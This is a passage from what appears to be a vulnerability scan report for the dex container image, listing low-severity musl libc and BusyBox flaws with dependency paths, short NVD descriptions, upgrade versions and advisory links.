An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).

## Remediation

Upgrade `Alpine:3.21` `musl` to version 1.2.5-r11 or higher.

## References

- https://musl.libc.org/releases.html
- https://www.openwall.com/lists/oss-security/2026/04/10/13
- http://www.openwall.com/lists/oss-security/2026/04/10/13

More about this vulnerability

## Improper Resource Shutdown or Release

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: musl/musl
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and musl/musl@1.2.5-r9

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libcrypto3@3.3.3-r0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › openssl/libssl3@3.3.3-r0 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › apk-tools/apk-tools@2.14.6-r3 › zlib/zlib@1.3.1-r2 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9 › pax-utils/scanelf@1.3.8-r1 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12 › busybox/busybox@1.37.0-r12 › musl/musl@1.2.5-r9
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › musl/musl-utils@1.2.5-r9

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `musl` package and not the `musl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

A security flaw has been discovered in musl libc up to 1.2.6. Affected is the function iconv of the file src/locale/iconv.c of the component GB18030 4-byte Decoder. Performing a manipulation results in inefficient algorithmic complexity. The attack must be initiated from a local position. To fix this issue, it is recommended to deploy a patch.

## Remediation

Upgrade `Alpine:3.21` `musl` to version 1.2.5-r10 or higher.

## References

- https://vuldb.com/submit/796352
- https://vuldb.com/vuln/356620
- https://vuldb.com/vuln/356620/cti
- https://www.openwall.com/lists/oss-security/2026/04/02/10
- https://www.openwall.com/lists/oss-security/2026/04/03/2
- http://www.openwall.com/lists/oss-security/2026/04/09/19

More about this vulnerability

## CVE-2024-58251

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: busybox/busybox
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and busybox/busybox@1.37.0-r12

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/busybox@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12 › busybox/busybox@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/busybox-binsh@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `busybox` package and not the `busybox` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

In netstat in BusyBox through 1.37.0, local users can launch of network application with an argv[0] containing an ANSI terminal escape sequence, leading to a denial of service (terminal locked up) when netstat is used by a victim.

## Remediation

Upgrade `Alpine:3.21` `busybox` to version 1.37.0-r14 or higher.

## References

- https://bugs.busybox.net/show_bug.cgi?id=15922
- https://www.busybox.net
- https://www.busybox.net/downloads/
- http://www.openwall.com/lists/oss-security/2025/04/23/6

More about this vulnerability

## CVE-2025-46394

low severity
Exploit: Not Defined

- Package Manager: alpine:3.21
- Vulnerable module: busybox/busybox
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 and busybox/busybox@1.37.0-r12

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/busybox@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12 › busybox/busybox@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/busybox-binsh@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › alpine-baselayout/alpine-baselayout@3.6.8-r1 › busybox/busybox-binsh@1.37.0-r12
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.43.0 › busybox/ssl_client@1.37.0-r12

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `busybox` package and not the `busybox` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.21` relevant fixed versions and status.

In tar in BusyBox through 1.37.0, a TAR archive can have filenames hidden from a listing through the use of terminal escape sequences.

## Remediation

Upgrade `Alpine:3.21` `busybox` to version 1.37.0-r14 or higher.

## References

- https://bugs.busybox.net/show_bug.cgi?id=16018
- https://www.busybox.net
- https://www.busybox.net/downloads/
- http://www.openwall.com/lists/oss-security/2025/04/23/5
- http://www.openwall.com/lists/oss-security/2025/04/24/3
- https://cert-portal.siemens.com/productcert/html/ssa-253495.html

More about this vulnerability